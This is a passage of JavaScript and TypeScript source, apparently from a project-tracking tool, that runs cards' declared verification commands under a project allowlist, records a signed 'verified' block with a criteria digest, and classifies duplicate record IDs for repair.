| }, timeoutSeconds * 1000); | ||
| // Neither timer should hold the event loop open on its own; the child | ||
| // does that, and once it is gone there is nothing left to wait for. | ||
| timer.unref?.(); | ||
| const done = (result) => { | ||
| // A failed spawn emits `error` and then `close`, and the second | ||
| // would report a null exit status as a failure. Guarded rather than | ||
| // left to the promise settling once, so the rule is visible to | ||
| // whoever adds the third listener. | ||
| if (finished) | ||
| return; | ||
| finished = true; | ||
| clearTimeout(timer); | ||
| if (hardKill) | ||
| clearTimeout(hardKill); | ||
| const out = stdout.read(); | ||
| const err = stderr.read(); | ||
| settle({ | ||
| ...result, | ||
| stdout: out.text, | ||
| stderr: err.text, | ||
| truncated: out.truncated || err.truncated, | ||
| durationMs: Date.now() - started | ||
| }); | ||
| }; | ||
| child.stdout?.on("data", (chunk) => stdout.push(Buffer.from(chunk))); | ||
| child.stderr?.on("data", (chunk) => stderr.push(Buffer.from(chunk))); | ||
| child.on("error", (error) => { | ||
| // The OS code matters — `ENOENT` and `EACCES` are acted on | ||
| // differently — and Node usually puts it in the message already, so | ||
| // it is prepended only when it is missing rather than doubled. | ||
| const message = String(error.message || error); | ||
| const code = error.code || ""; | ||
| done({ | ||
| outcome: "errored", | ||
| code: null, | ||
| signal: null, | ||
| reason: code && !message.includes(code) ? `${code}: ${message}` : message | ||
| }); | ||
| }); | ||
| // `close` rather than `exit`, so the streams are drained before the | ||
| // tail is taken. On `exit` the last chunk of a failing test's output — | ||
| // the part naming what failed — is still in flight. | ||
| child.on("close", (code, signal) => { | ||
| if (timedOut) { | ||
| return done({ | ||
| outcome: "timed-out", | ||
| code, | ||
| signal, | ||
| reason: `killed after ${timeoutSeconds}s without exiting` | ||
| }); | ||
| } | ||
| done({ | ||
| outcome: code === 0 ? "passed" : "failed", | ||
| code, | ||
| signal, | ||
| reason: null | ||
| }); | ||
| }); | ||
| }); | ||
| } | ||
| /** | ||
| * The entries this run will execute, refused as a whole if any of them is one | ||
| * the project does not permit. | ||
| * | ||
| * The whole block rather than only the selected entries, and that follows | ||
| * `validateVerify`: a card carrying a command the project refuses is refused | ||
| * every write until the block is cleared, and a run that quietly executed the | ||
| * permitted half of such a card would be the one place the rule bent. `doctor` | ||
| * already reports it as an error, so the card should not have landed. | ||
| */ | ||
| function selectEntries(workspace, id, declared, only) { | ||
| const allowed = allowedCommands(workspace); | ||
| for (const entry of declared) { | ||
| const argv = argvElements(entry.run); | ||
| if (!argv) { | ||
| throw new ValidationError("CARD_VERIFY_RUN_INVALID", `Verify entry ${entry.id} on ${id} does not carry an argument ` + | ||
| `vector, so nothing can decide what it would run.`, { id, entry: entry.id, run: entry.run ?? null }); | ||
| } | ||
| if (!commandAllowed(allowed, argv)) { | ||
| throw new ValidationError("CARD_VERIFY_COMMAND_NOT_ALLOWED", commandNotAllowedMessage(entry.id, argv, allowed), { id, entry: entry.id, run: argv, declared: allowed }); | ||
| } | ||
| } | ||
| if (!only) | ||
| return declared; | ||
| const known = new Set(declared.map((entry) => entry.id)); | ||
| const unknown = only.filter((wanted) => !known.has(wanted)); | ||
| if (unknown.length) { | ||
| throw new ValidationError("CARD_VERIFY_ENTRY_UNKNOWN", `${id} declares no verify ${unknown.length === 1 ? "entry" : "entries"} ` + | ||
| `called ${unknown.join(", ")}. Declared: ${[...known].join(", ")}.`, { id, unknown, declared: [...known] }); | ||
| } | ||
| return declared.filter((entry) => only.includes(entry.id)); | ||
| } | ||
| /** The phrase the trail carries, which says what happened and not what changed. */ | ||
| function outcomePhrase(entry, result) { | ||
| const command = formatCommand(entry.run); | ||
| if (result.outcome === "passed") | ||
| return `${command} passed`; | ||
| return `${command} failed (exit ${result.code ?? "none"})`; | ||
| } | ||
| /** | ||
| * Runs a card's declared commands and writes down what they proved. | ||
| * | ||
| * The commands run outside the card lock, deliberately. They take minutes, and | ||
| * a lock held across them would block every other write to the card — a note, | ||
| * a claim, a status move — for as long as a test suite runs. The lock is taken | ||
| * once per entry afterwards, for the write alone. | ||
| * | ||
| * That interval is real, so the criteria are addressed by *digest* rather than | ||
| * by the indices read before the commands started: the card is read again after | ||
| * the last command exits, and the owner map is built from that reading. A | ||
| * criterion reworded in between is then no longer bound to the entry and the | ||
| * write is refused by name rather than applied to whatever line moved into that | ||
| * position. | ||
| */ | ||
| export async function runCardVerification(workspace, id, { only = null, actor = null, now } = {}) { | ||
| // Before the first spawn rather than at the first write: a read-only | ||
| // workspace cannot record anything these commands prove, and finding that | ||
| // out after ten minutes of tests is the answer arriving too late to be | ||
| // worth anything. | ||
| ensureWritable(workspace); | ||
| const located = async () => { | ||
| const { cards } = await loadCards(workspace); | ||
| const card = cards.find((candidate) => candidate.id === id); | ||
| if (!card) | ||
| throw new NotFoundError("CARD_NOT_FOUND", `Card not found: ${id}`); | ||
| return card; | ||
| }; | ||
| const card = await located(); | ||
| const declared = verifyEntries(card.verify); | ||
| if (!declared.length) { | ||
| // Exiting 0 having run nothing would report a card as verified by | ||
| // commands it does not declare, which is the silent no-op an agent | ||
| // cannot detect. | ||
| throw new ValidationError("CARD_VERIFY_NONE_DECLARED", `${id} declares no verify entries, so there is nothing to run. ` + | ||
| `Bind a criterion to a command with \`card patch ${id} --json-input\`.`, { id }); | ||
| } | ||
| const selected = selectEntries(workspace, id, declared, only); | ||
| // No per-call override, deliberately. How long this project's commands may | ||
| // take is a fact about the project, and a second way to say it would be a | ||
| // second place for the answer to differ. | ||
| const timeout = verifyTimeoutSeconds(workspace); | ||
| // Sequentially. Two declared commands are usually two suites over one | ||
| // working tree, and deciding that a project's own build is safe to run | ||
| // twice at once is not this tool's decision to make on its behalf. | ||
| const ran = new Map(); | ||
| for (const entry of selected) { | ||
| ran.set(entry.id, await runVerifyCommand(entry.run, { cwd: workspace.root, timeoutSeconds: timeout })); | ||
| } | ||
| // Read again, after the commands: the bindings that decide what each entry | ||
| // may write are the ones on the card now, not the ones from before it ran. | ||
| const after = await located(); | ||
| const reading = parseAcceptance(after.body || ""); | ||
| const entries = []; | ||
| for (const entry of selected) { | ||
| const result = ran.get(entry.id); | ||
| // The same map `applyAcceptance` consults under the lock, built from | ||
| // the same reading — which is what makes "the entry may write these and | ||
| // no others" one rule rather than two that agree today. | ||
| const owned = [...criterionOwners(reading, [entry]).keys()].sort((left, right) => left - right); | ||
| // Only an exit status is a decision, so only an exit status writes. | ||
| const decided = result.outcome === "passed" || result.outcome === "failed"; | ||
| const wanted = decided ? owned : []; | ||
| const checking = result.outcome === "passed"; | ||
| let changed = []; | ||
| let writeError = null; | ||
| if (wanted.length) { | ||
| try { | ||
| const written = await setCardAcceptance(workspace, id, { | ||
| check: checking ? wanted : [], | ||
| uncheck: checking ? [] : wanted, | ||
| runner: entry.id, | ||
| outcome: outcomePhrase(entry, result), | ||
| actor, | ||
| now | ||
| }); | ||
| changed = written.changed; | ||
| } | ||
| catch (error) { | ||
| writeError = { | ||
| code: String(error?.code || "CARD_ACCEPTANCE_WRITE_FAILED"), | ||
| message: String(error?.message || error) | ||
| }; | ||
| } | ||
| } | ||
| entries.push({ | ||
| id: entry.id, | ||
| run: [...entry.run], | ||
| outcome: result.outcome, | ||
| code: result.code, | ||
| signal: result.signal, | ||
| durationMs: result.durationMs, | ||
| reason: result.reason, | ||
| stdout: result.stdout, | ||
| stderr: result.stderr, | ||
| truncated: result.truncated, | ||
| criteria: owned, | ||
| checked: changed.filter((item) => item.checked).map((item) => item.index), | ||
| unchecked: changed.filter((item) => !item.checked).map((item) => item.index), | ||
| writeError | ||
| }); | ||
| } | ||
| const final = await located(); | ||
| return { | ||
| id, | ||
| ok: entries.every((entry) => entry.outcome === "passed" && !entry.writeError), | ||
| entries, | ||
| acceptance: parseAcceptance(final.body || ""), | ||
| timeoutSeconds: timeout | ||
| }; | ||
| } |
| /** | ||
| * What `done` says about how it was proved. | ||
| * | ||
| * Per ADR-0016. Reaching `done` writes a `verified` block — `at`, `method`, | ||
| * `commit`, `run` and `digest` — and the tiers carry more of the substance than | ||
| * the digest does. `local` is a command that ran on the author's machine and | ||
| * stays self-reported. `ci` has a witness anyone can open. `manual` is | ||
| * legitimate for a criterion no command expresses, but it has to be labelled | ||
| * rather than left indistinguishable from a green test. `forced` is what T-0184 | ||
| * made visible on the trail, given a field so it can be counted. | ||
| * | ||
| * Everything here is pure: text in, text out. The clock, the commit and the | ||
| * actor all arrive as arguments, because the one thing this must not do is | ||
| * decide any of them itself — a refusal has to be reachable before the write | ||
| * that would have recorded it, and `mutations.ts` runs all of this under the | ||
| * card lock ahead of `writeFileAtomic`. | ||
| */ | ||
| import { REQUESTABLE_VERIFICATION_METHODS, VERIFICATION_METHODS } from "../../config/defaults.js"; | ||
| export { REQUESTABLE_VERIFICATION_METHODS, VERIFICATION_METHODS }; | ||
| /** The fields of the block, in the order ADR-0016 draws them. */ | ||
| export declare const VERIFIED_FIELDS: readonly ["at", "method", "commit", "run", "digest"]; | ||
| /** `sha256:` and 64 lowercase hex digits, the form `verified.digest` holds. */ | ||
| export declare const VERIFIED_DIGEST: RegExp; | ||
| export interface VerifiedBlock { | ||
| at: string; | ||
| method: string; | ||
| commit?: string; | ||
| run?: string; | ||
| digest: string; | ||
| } | ||
| /** | ||
| * A digest of what the card claimed, and of what was bound to prove it. | ||
| * | ||
| * **Criteria region and `verify` block, and nothing else.** It cannot cover the | ||
| * body: the transition that writes this appends a trail entry of its own, so a | ||
| * whole-body digest would be invalidated by the very write that created it. | ||
| * | ||
| * It is taken over a canonical *reading* rather than over the region's raw | ||
| * text, and that is what makes it stable rather than lucky. Appending to | ||
| * `## Activity` goes through `appendUnderHeading`, which rebuilds the body from | ||
| * `splitSections` and normalises blank lines between sections and trailing | ||
| * whitespace inside them — so the bytes of the criteria region genuinely do move | ||
| * when a trail entry lands two sections away. `parseAcceptance` plus | ||
| * `normalizeCriterion` is blind to all of it. | ||
| * | ||
| * Sorted, deliberately. T-0185's whole argument is that reordering criteria is | ||
| * harmless and only an edit should break a binding; a digest that fired on a | ||
| * reorder would emit a warning the protocol elsewhere calls harmless. The | ||
| * checkbox state is left out for the same reason: `doctor` already names an | ||
| * unproven criterion on a done card, and a second warning about the same fact | ||
| * is how doctor output stops being read. | ||
| * | ||
| * `v` is inside the hash so a future change to any of these rules is a visible | ||
| * mismatch rather than a silent one. | ||
| */ | ||
| export declare function criteriaDigest({ body, verify }?: { | ||
| body?: string; | ||
| verify?: unknown; | ||
| }): string; | ||
| /** What a resolved verification wants written, before the digest is taken. */ | ||
| export interface VerificationIntent { | ||
| fields: Record<string, string>; | ||
| /** One line for `## Notes`, without its bullet, or `null`. */ | ||
| note: string | null; | ||
| } | ||
| /** | ||
| * The block a close is going to write, or `null` when this write is not one. | ||
| * | ||
| * Every refusal here happens before any byte is written, and all of them are | ||
| * `ValidationError` — 400 over HTTP, exit 1 on the CLI. | ||
| * | ||
| * The first refusal is the one this card would otherwise have shipped the | ||
| * failure it names as its own justification: `--method ci` on a transition to | ||
| * `review` has nowhere to go, and dropping it silently is precisely the shape an | ||
| * agent cannot detect. It is the argument `COMMAND_FLAGS` already makes in the | ||
| * binary, one layer down. | ||
| */ | ||
| export declare function resolveVerification({ id, closing, waived, method, run, evidence, actor, commit, at }: { | ||
| id: string; | ||
| closing: boolean; | ||
| waived?: string | null; | ||
| method?: string | null; | ||
| run?: string | null; | ||
| evidence?: string | null; | ||
| actor?: string | null; | ||
| commit?: string | null; | ||
| at: string; | ||
| }): VerificationIntent | null; | ||
| /** | ||
| * What is wrong with a card's `verified` block, phrased for a reader. | ||
| * | ||
| * No mutation can produce any of these, so every one of them means the file was | ||
| * edited by hand — or arrived as a file in somebody's diff, which is the case | ||
| * that matters in a repository taking pull requests. Two of them are worse than | ||
| * cosmetic: a block the codec reads as opaque, or one nested a level too deep, | ||
| * makes the card unwritable, because `patchFrontmatter` refuses to rewrite an | ||
| * opaque key *and* refuses to clear one — so reopening it fails as well. | ||
| */ | ||
| export declare function verifiedProblems(verified: unknown): string[]; | ||
| /** The commit a card was verified at, or `null` — never a value git will see. */ | ||
| export declare function verifiedCommit(verified: unknown): string | null; |
| /** | ||
| * What `done` says about how it was proved. | ||
| * | ||
| * Per ADR-0016. Reaching `done` writes a `verified` block — `at`, `method`, | ||
| * `commit`, `run` and `digest` — and the tiers carry more of the substance than | ||
| * the digest does. `local` is a command that ran on the author's machine and | ||
| * stays self-reported. `ci` has a witness anyone can open. `manual` is | ||
| * legitimate for a criterion no command expresses, but it has to be labelled | ||
| * rather than left indistinguishable from a green test. `forced` is what T-0184 | ||
| * made visible on the trail, given a field so it can be counted. | ||
| * | ||
| * Everything here is pure: text in, text out. The clock, the commit and the | ||
| * actor all arrive as arguments, because the one thing this must not do is | ||
| * decide any of them itself — a refusal has to be reachable before the write | ||
| * that would have recorded it, and `mutations.ts` runs all of this under the | ||
| * card lock ahead of `writeFileAtomic`. | ||
| */ | ||
| import { createHash } from "node:crypto"; | ||
| import { REQUESTABLE_VERIFICATION_METHODS, VERIFICATION_METHODS } from "../../config/defaults.js"; | ||
| import { ValidationError } from "../../core/errors.js"; | ||
| import { normalizeCriterion, parseAcceptance, verifyEntries } from "./acceptance.js"; | ||
| import { COMMIT_SHA } from "./git.js"; | ||
| // The two vocabularies moved to `config/defaults.ts` when T-0187 gave projects | ||
| // a policy over them: config validation refuses a method a project cannot | ||
| // declare, and it runs before any module loads. Re-exported from here because | ||
| // this is where the meaning lives and where every caller already imports them. | ||
| export { REQUESTABLE_VERIFICATION_METHODS, VERIFICATION_METHODS }; | ||
| /** The fields of the block, in the order ADR-0016 draws them. */ | ||
| export const VERIFIED_FIELDS = Object.freeze([ | ||
| "at", | ||
| "method", | ||
| "commit", | ||
| "run", | ||
| "digest" | ||
| ]); | ||
| /** `sha256:` and 64 lowercase hex digits, the form `verified.digest` holds. */ | ||
| export const VERIFIED_DIGEST = /^sha256:[0-9a-f]{64}$/; | ||
| const TIMESTAMP = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d+)?Z$/; | ||
| /** Code-unit order, so a digest computed on Windows matches one from Linux. */ | ||
| function byCodeUnit(left, right) { | ||
| if (left < right) | ||
| return -1; | ||
| return left > right ? 1 : 0; | ||
| } | ||
| /** | ||
| * A digest of what the card claimed, and of what was bound to prove it. | ||
| * | ||
| * **Criteria region and `verify` block, and nothing else.** It cannot cover the | ||
| * body: the transition that writes this appends a trail entry of its own, so a | ||
| * whole-body digest would be invalidated by the very write that created it. | ||
| * | ||
| * It is taken over a canonical *reading* rather than over the region's raw | ||
| * text, and that is what makes it stable rather than lucky. Appending to | ||
| * `## Activity` goes through `appendUnderHeading`, which rebuilds the body from | ||
| * `splitSections` and normalises blank lines between sections and trailing | ||
| * whitespace inside them — so the bytes of the criteria region genuinely do move | ||
| * when a trail entry lands two sections away. `parseAcceptance` plus | ||
| * `normalizeCriterion` is blind to all of it. | ||
| * | ||
| * Sorted, deliberately. T-0185's whole argument is that reordering criteria is | ||
| * harmless and only an edit should break a binding; a digest that fired on a | ||
| * reorder would emit a warning the protocol elsewhere calls harmless. The | ||
| * checkbox state is left out for the same reason: `doctor` already names an | ||
| * unproven criterion on a done card, and a second warning about the same fact | ||
| * is how doctor output stops being read. | ||
| * | ||
| * `v` is inside the hash so a future change to any of these rules is a visible | ||
| * mismatch rather than a silent one. | ||
| */ | ||
| export function criteriaDigest({ body = "", verify = null } = {}) { | ||
| const criteria = parseAcceptance(body) | ||
| .items.map((item) => normalizeCriterion(item.text)) | ||
| .sort(byCodeUnit); | ||
| const commands = verifyEntries(verify) | ||
| .map((entry) => ({ | ||
| id: String(entry.id ?? ""), | ||
| // Argument order is meaning, so this one is not sorted. | ||
| run: (Array.isArray(entry.run) ? entry.run : [entry.run]) | ||
| .filter((part) => part != null) | ||
| .map(String), | ||
| criteria: [...(entry.criteria || [])].map(String).sort(byCodeUnit) | ||
| })) | ||
| .sort((left, right) => byCodeUnit(left.id, right.id)); | ||
| return `sha256:${createHash("sha256") | ||
| .update(JSON.stringify({ v: 1, criteria, verify: commands }), "utf8") | ||
| .digest("hex")}`; | ||
| } | ||
| function fail(code, message, details = null) { | ||
| throw new ValidationError(code, message, details); | ||
| } | ||
| /** `2026-08-05 10:12`, the stamp `## Notes` and the trail already share. */ | ||
| function noteStamp(at) { | ||
| return at.slice(0, 16).replace("T", " "); | ||
| } | ||
| /** | ||
| * The evidence line a verification leaves in the body. | ||
| * | ||
| * Prose stays in the body — that is ADR-0016's own decision, and the frontmatter | ||
| * codec is one scalar per line, so anything longer than a line could not go | ||
| * there without being mangled. `## Notes` is already where the reason for taking | ||
| * over a claim goes. | ||
| * | ||
| * Collapsed to one line the same way `requireForceReason` collapses its reason, | ||
| * because this text arrives over HTTP and MCP and a newline in it would append a | ||
| * line the reader sees and `TRAIL_ENTRY` does not. The ` — ` separator is what | ||
| * keeps it out of `TRAIL_ENTRY` altogether, so `doctor --fix` will not lift it | ||
| * into `## Activity`. | ||
| */ | ||
| function evidenceNote(method, actor, evidence, at) { | ||
| const text = String(evidence).trim().split(/\s+/).join(" "); | ||
| return `${noteStamp(at)}Z${actor ? ` ${actor}` : ""} — ${method} verification: ${text}`; | ||
| } | ||
| /** | ||
| * The block a close is going to write, or `null` when this write is not one. | ||
| * | ||
| * Every refusal here happens before any byte is written, and all of them are | ||
| * `ValidationError` — 400 over HTTP, exit 1 on the CLI. | ||
| * | ||
| * The first refusal is the one this card would otherwise have shipped the | ||
| * failure it names as its own justification: `--method ci` on a transition to | ||
| * `review` has nowhere to go, and dropping it silently is precisely the shape an | ||
| * agent cannot detect. It is the argument `COMMAND_FLAGS` already makes in the | ||
| * binary, one layer down. | ||
| */ | ||
| export function resolveVerification({ id, closing, waived = null, method, run, evidence, actor, commit = null, at }) { | ||
| const requested = method == null || method === "" ? null : String(method); | ||
| const witness = run == null || run === "" ? null : String(run).trim(); | ||
| const prose = evidence == null || evidence === "" ? null : String(evidence); | ||
| if (!closing) { | ||
| const supplied = [ | ||
| requested && "method", | ||
| witness && "run", | ||
| prose && "evidence" | ||
| ].filter(Boolean); | ||
| if (supplied.length) { | ||
| fail("CARD_VERIFICATION_NOT_APPLICABLE", `${supplied.join(", ")} ${supplied.length === 1 ? "describes" : "describe"} ` + | ||
| `how a card was proved, and this write does not move ${id} into done. ` + | ||
| `A card that is already done keeps the verification the write that closed it recorded.`, { id, supplied }); | ||
| } | ||
| return null; | ||
| } | ||
| if (requested === "forced") { | ||
| fail("CARD_VERIFICATION_METHOD_CONFLICT", `\`forced\` is not a method a caller asks for: it is what the record ` + | ||
| `says when the acceptance gate was walked past. Pass force with a ` + | ||
| `reason, and ${id} records it.`, { id, method: requested }); | ||
| } | ||
| if (waived && requested) { | ||
| fail("CARD_VERIFICATION_METHOD_CONFLICT", `${id} reaches done past ${waived}, so its method is \`forced\` and not ` + | ||
| `\`${requested}\`. Drop the method; what was waived, and why, is already ` + | ||
| `on the card's trail entry.`, { id, method: requested, waived }); | ||
| } | ||
| if (requested && !REQUESTABLE_VERIFICATION_METHODS.includes(requested)) { | ||
| fail("CARD_VERIFICATION_METHOD_INVALID", `Unknown verification method: ${requested}. Allowed: ` + | ||
| `${REQUESTABLE_VERIFICATION_METHODS.join(", ")}.`, { id, value: requested, allowed: [...REQUESTABLE_VERIFICATION_METHODS] }); | ||
| } | ||
| // No method and nothing waived is `local`, which is exactly what a bare | ||
| // `card transition ID done` asserts: a command ran somewhere, and the record | ||
| // says who claims so rather than pretending to a witness. Demanding | ||
| // `--method` on every close would break every existing call site and every | ||
| // generated workflow to make an agent type the word for the assumption it | ||
| // was already making. Requiring more than that is per-project policy, which | ||
| // is T-0187's, not this card's. | ||
| const resolved = waived ? "forced" : requested || "local"; | ||
| if (resolved === "ci" && !witness) { | ||
| fail("CARD_VERIFICATION_RUN_REQUIRED", `\`ci\` means a witness anyone can open, so ${id} needs the run's URL. ` + | ||
| `Without it the record cannot be told apart from \`local\`.`, { id }); | ||
| } | ||
| if (resolved === "manual" && !prose?.trim()) { | ||
| fail("CARD_VERIFICATION_EVIDENCE_REQUIRED", `\`manual\` is a claim only a person can make, so ${id} needs the ` + | ||
| `evidence in prose. It is written to the card's \`## Notes\`.`, { id }); | ||
| } | ||
| if (resolved === "manual" && !String(actor || "").trim()) { | ||
| fail("CARD_VERIFICATION_ACTOR_REQUIRED", `\`manual\` records that somebody looked, so ${id} needs to say who. ` + | ||
| `Attribution is the whole of what this method is worth.`, { id }); | ||
| } | ||
| return { | ||
| fields: { | ||
| at, | ||
| method: resolved, | ||
| ...(commit && COMMIT_SHA.test(String(commit)) | ||
| ? { commit: String(commit) } | ||
| : {}), | ||
| ...(witness ? { run: witness } : {}) | ||
| }, | ||
| note: prose?.trim() | ||
| ? evidenceNote(resolved, actor, prose, at) | ||
| : null | ||
| }; | ||
| } | ||
| /** | ||
| * What is wrong with a card's `verified` block, phrased for a reader. | ||
| * | ||
| * No mutation can produce any of these, so every one of them means the file was | ||
| * edited by hand — or arrived as a file in somebody's diff, which is the case | ||
| * that matters in a repository taking pull requests. Two of them are worse than | ||
| * cosmetic: a block the codec reads as opaque, or one nested a level too deep, | ||
| * makes the card unwritable, because `patchFrontmatter` refuses to rewrite an | ||
| * opaque key *and* refuses to clear one — so reopening it fails as well. | ||
| */ | ||
| export function verifiedProblems(verified) { | ||
| if (verified == null || verified === "") | ||
| return []; | ||
| if (typeof verified !== "object" || Array.isArray(verified)) { | ||
| return [ | ||
| "it is not a mapping — `verified` holds at, method, commit, run and " + | ||
| "digest, one scalar each, indented one level" | ||
| ]; | ||
| } | ||
| const block = verified; | ||
| const problems = []; | ||
| const unknown = Object.keys(block).filter((key) => !VERIFIED_FIELDS.includes(key)); | ||
| if (unknown.length) { | ||
| problems.push(`it carries ${unknown.join(", ")}, which the block does not define`); | ||
| } | ||
| if (!TIMESTAMP.test(String(block.at ?? ""))) { | ||
| problems.push(`at is ${block.at ?? "missing"}, not an RFC 3339 UTC timestamp`); | ||
| } | ||
| if (!VERIFICATION_METHODS.includes(String(block.method))) { | ||
| problems.push(`method is ${block.method ?? "missing"}, not one of ` + | ||
| `${VERIFICATION_METHODS.join(", ")}`); | ||
| } | ||
| if (!VERIFIED_DIGEST.test(String(block.digest ?? ""))) { | ||
| problems.push(`digest is ${block.digest ?? "missing"}, not a sha256 digest`); | ||
| } | ||
| if (block.commit != null && !COMMIT_SHA.test(String(block.commit))) { | ||
| problems.push(`commit is ${block.commit}, which is not a commit sha`); | ||
| } | ||
| if (String(block.method) === "ci" && !String(block.run ?? "").trim()) { | ||
| problems.push("method is ci but the block names no run to open"); | ||
| } | ||
| return problems; | ||
| } | ||
| /** The commit a card was verified at, or `null` — never a value git will see. */ | ||
| export function verifiedCommit(verified) { | ||
| if (!verified || typeof verified !== "object" || Array.isArray(verified)) { | ||
| return null; | ||
| } | ||
| const commit = String(verified.commit ?? ""); | ||
| return COMMIT_SHA.test(commit) ? commit : null; | ||
| } |
| /** | ||
| * Which duplicate IDs can be healed, and which record keeps the ID. | ||
| * | ||
| * Two readers need the same answer: `doctor`, which prints what to run, and the | ||
| * healer, which runs it. They were written apart, and this card is the result — | ||
| * every collision was told to run a command that only ever moved cards. One | ||
| * classifier means the message and the repair cannot disagree again. | ||
| */ | ||
| /** | ||
| * Record kinds whose IDs are allocated by scanning a local maximum, so two | ||
| * clones mint the same one and a merge lands both files. Releases are absent | ||
| * deliberately: a release is written once, when the version is cut. | ||
| */ | ||
| export declare const HEALABLE_KINDS: readonly string[]; | ||
| export type DuplicateRefusal = "missing-id" | "mixed-kinds" | "unknown-kind" | "release" | "multiple-released" | "indexed-document"; | ||
| export interface DuplicateClassification { | ||
| id: string; | ||
| /** The single kind carrying the ID, or `null` when the files span kinds. */ | ||
| kind: string | null; | ||
| /** Every path carrying the ID, in code-unit order. */ | ||
| paths: string[]; | ||
| healable: boolean; | ||
| reason: DuplicateRefusal | null; | ||
| /** One sentence stating the fact. Names no command. */ | ||
| reasonText: string | null; | ||
| /** The path that keeps the ID. */ | ||
| survivor: string | null; | ||
| /** Whether the survivor keeps it because it is frozen rather than oldest. */ | ||
| survivorFrozen: boolean; | ||
| /** Paths to move, oldest first. */ | ||
| movers: string[]; | ||
| } | ||
| /** | ||
| * Code-unit order, which `localeCompare` is not. | ||
| * | ||
| * The survivor of a collision has to be the same record in every clone, and | ||
| * `localeCompare` follows the host's locale: under tr-TR or cs-CZ the same two | ||
| * paths can order the other way round, so two machines healing one merge keep | ||
| * different files and collide again on the next one. IDs, ISO dates and | ||
| * repository paths are ASCII, where `<` is a total order. | ||
| */ | ||
| export declare function byCodeUnit(left: string, right: string): number; | ||
| /** | ||
| * Every duplicated ID in the index, classified. | ||
| * | ||
| * Grouped from `index.records` rather than read from `index.duplicates`, | ||
| * because a persisted index served from cache need not carry that list and the | ||
| * healer — unlike the doctor — does not force a fresh diagnosed build. | ||
| */ | ||
| export declare function classifyDuplicates(index: any): DuplicateClassification[]; | ||
| /** | ||
| * What `doctor` says about a duplicate. | ||
| * | ||
| * A healable collision names the command that performs the repair and which | ||
| * side of it keeps the ID. A refused one names no command at all: the previous | ||
| * message pointed every collision at `card renumber --duplicates`, which is | ||
| * exactly the dead end this replaces. | ||
| */ | ||
| export declare function duplicateIssueMessage(classification: DuplicateClassification): string; |
| import { normalizeRepoPath } from "../../core/glob.js"; | ||
| /** | ||
| * Which duplicate IDs can be healed, and which record keeps the ID. | ||
| * | ||
| * Two readers need the same answer: `doctor`, which prints what to run, and the | ||
| * healer, which runs it. They were written apart, and this card is the result — | ||
| * every collision was told to run a command that only ever moved cards. One | ||
| * classifier means the message and the repair cannot disagree again. | ||
| */ | ||
| /** | ||
| * Record kinds whose IDs are allocated by scanning a local maximum, so two | ||
| * clones mint the same one and a merge lands both files. Releases are absent | ||
| * deliberately: a release is written once, when the version is cut. | ||
| */ | ||
| export const HEALABLE_KINDS = Object.freeze(["card", "change", "doc", "memory"]); | ||
| /** | ||
| * Code-unit order, which `localeCompare` is not. | ||
| * | ||
| * The survivor of a collision has to be the same record in every clone, and | ||
| * `localeCompare` follows the host's locale: under tr-TR or cs-CZ the same two | ||
| * paths can order the other way round, so two machines healing one merge keep | ||
| * different files and collide again on the next one. IDs, ISO dates and | ||
| * repository paths are ASCII, where `<` is a total order. | ||
| */ | ||
| export function byCodeUnit(left, right) { | ||
| return left < right ? -1 : left > right ? 1 : 0; | ||
| } | ||
| function refusalText(reason, kinds) { | ||
| switch (reason) { | ||
| case "missing-id": | ||
| return "the files carry no `id:` line, so there is no ID to move and nothing to tell them apart"; | ||
| case "mixed-kinds": | ||
| return `the files are different record kinds (${kinds.join(", ")}), so no single sequence owns the ID`; | ||
| case "unknown-kind": | ||
| return `Workfile does not allocate IDs for ${kinds.join(", ")} records, so it has no free one to move to`; | ||
| case "release": | ||
| return "a release record is written once, when the version is cut, and is never rewritten"; | ||
| case "multiple-released": | ||
| return "more than one of them is a released changelog fragment, and a released fragment is frozen — describe the correction in a new fragment"; | ||
| case "indexed-document": | ||
| return "an indexed file outside `docs.managedPath` declares the same ID in its frontmatter, and Workfile does not rewrite files it does not manage — remove or change its `id:` line"; | ||
| } | ||
| } | ||
| /** | ||
| * The survivor rule, in one place. | ||
| * | ||
| * A released changelog fragment sorts first whatever its date: it was cut into | ||
| * a version, the release record lists it by ID, and renumbering it would | ||
| * rewrite shipped history (LRN-0016). Everything else is oldest `created` | ||
| * first, then path — both committed facts about the merged tree, so every | ||
| * clone reads the same order. | ||
| */ | ||
| function classify(id, members) { | ||
| const paths = members | ||
| .map((record) => normalizeRepoPath(record.path)) | ||
| .sort(byCodeUnit); | ||
| const kinds = [...new Set(members.map((record) => String(record.kind)))].sort(byCodeUnit); | ||
| const refuse = (reason) => ({ | ||
| id, | ||
| kind: kinds.length === 1 ? kinds[0] : null, | ||
| paths, | ||
| healable: false, | ||
| reason, | ||
| reasonText: refusalText(reason, kinds), | ||
| survivor: null, | ||
| survivorFrozen: false, | ||
| movers: [] | ||
| }); | ||
| if (!id) | ||
| return refuse("missing-id"); | ||
| if (kinds.length > 1) | ||
| return refuse("mixed-kinds"); | ||
| const kind = kinds[0]; | ||
| if (!HEALABLE_KINDS.includes(kind)) { | ||
| return refuse(kind === "release" ? "release" : "unknown-kind"); | ||
| } | ||
| // An indexed file is not Workfile's to rewrite, and moving the *managed* | ||
| // record instead would renumber a real record because a stray README | ||
| // declared an `id:` line. | ||
| if (kind === "doc" && members.some((record) => record.managed !== true)) { | ||
| return refuse("indexed-document"); | ||
| } | ||
| const frozen = members.filter((record) => kind === "change" && record.released === true); | ||
| if (frozen.length > 1) | ||
| return refuse("multiple-released"); | ||
| const ordered = [...members].sort((left, right) => byCodeUnit(String(left.created || ""), String(right.created || "")) || | ||
| byCodeUnit(normalizeRepoPath(left.path), normalizeRepoPath(right.path))); | ||
| const survivor = normalizeRepoPath((frozen.length ? frozen[0] : ordered[0]).path); | ||
| return { | ||
| id, | ||
| kind, | ||
| paths, | ||
| healable: true, | ||
| reason: null, | ||
| reasonText: null, | ||
| survivor, | ||
| survivorFrozen: frozen.length === 1, | ||
| movers: ordered | ||
| .map((record) => normalizeRepoPath(record.path)) | ||
| .filter((path) => path !== survivor) | ||
| }; | ||
| } | ||
| /** | ||
| * Every duplicated ID in the index, classified. | ||
| * | ||
| * Grouped from `index.records` rather than read from `index.duplicates`, | ||
| * because a persisted index served from cache need not carry that list and the | ||
| * healer — unlike the doctor — does not force a fresh diagnosed build. | ||
| */ | ||
| export function classifyDuplicates(index) { | ||
| const groups = new Map(); | ||
| for (const record of index.records || []) { | ||
| const key = String(record.id || ""); | ||
| const found = groups.get(key); | ||
| if (found) | ||
| found.push(record); | ||
| else | ||
| groups.set(key, [record]); | ||
